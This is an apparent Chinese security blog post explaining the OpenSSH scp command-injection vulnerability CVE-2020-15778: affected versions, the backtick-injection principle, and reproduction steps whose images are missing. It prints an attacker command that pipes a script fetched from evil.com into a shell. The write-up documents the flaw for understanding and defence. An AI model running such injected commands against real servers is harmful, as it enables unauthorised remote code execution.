[应用漏洞]OpenSSH scp命令注入漏洞(CVE-2020-15778)

本文详细解析了OpenSSH版本8.3p1及以下存在的scp漏洞,即便禁用ssh登录,若允许scp传输且远程服务器支持反引号(`),攻击者可通过特定payload执行scp命令获取shell。文章阐述了漏洞原理,展示了复现步骤,并提供了防御建议。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一、漏洞简介

该漏洞发生于 OpenSSH <= 8.3p1 系统,即使在禁用ssh登录的情况下,但是允许使用scp传文件,而且远程服务器允许使用反引号(`),可利用scp复制文件到远程服务器时,执行带有payload的scp命令,从而在后续利用中getshell。

利用条件:知道目标的ssh密码

二、漏洞原理

scp是 secure copy的缩写, scp是linux系统下基于ssh登陆进行安全的远程文件拷贝命令。linux的scp命令可以在linux服务器之间复制文件和目录。

scp格式为:

scp SourceFile user@host:directory/TargetFile
scp [参数] [原路径] [目标路径]

scp命令在执行时,会使用”-t“参数来获取存储传入文件的路径,但是未对传入的文件路径进行检测防护:

使用反引号包裹payload然后加上文件名执行scp命令,这时,payload将会发送到远程服务器并执行。

三、漏洞复现

首先,我们向目标机器上传文件。如图,需要输入密码,因此我要重申,这次漏洞还是有点鸡肋。

接着,执行带有payload的scp命令,payload的作用是在目标机器上生成一个sh文件:

查看文件,可以看到创建成功:

这个漏洞可能适用于远程服务器禁用了ssh登录,但是允许使用scp传文件,而且远程服务器允许使用反引号(`)。那么攻击者可以使用下列命令获取网站的shell:

wget http://evil.com/exp.sh -O- | sh

四、漏洞防御

先确保ssh密码没有泄露,等一波openssh的新版本吧 

 

评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

东方隐侠安全团队-千里

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值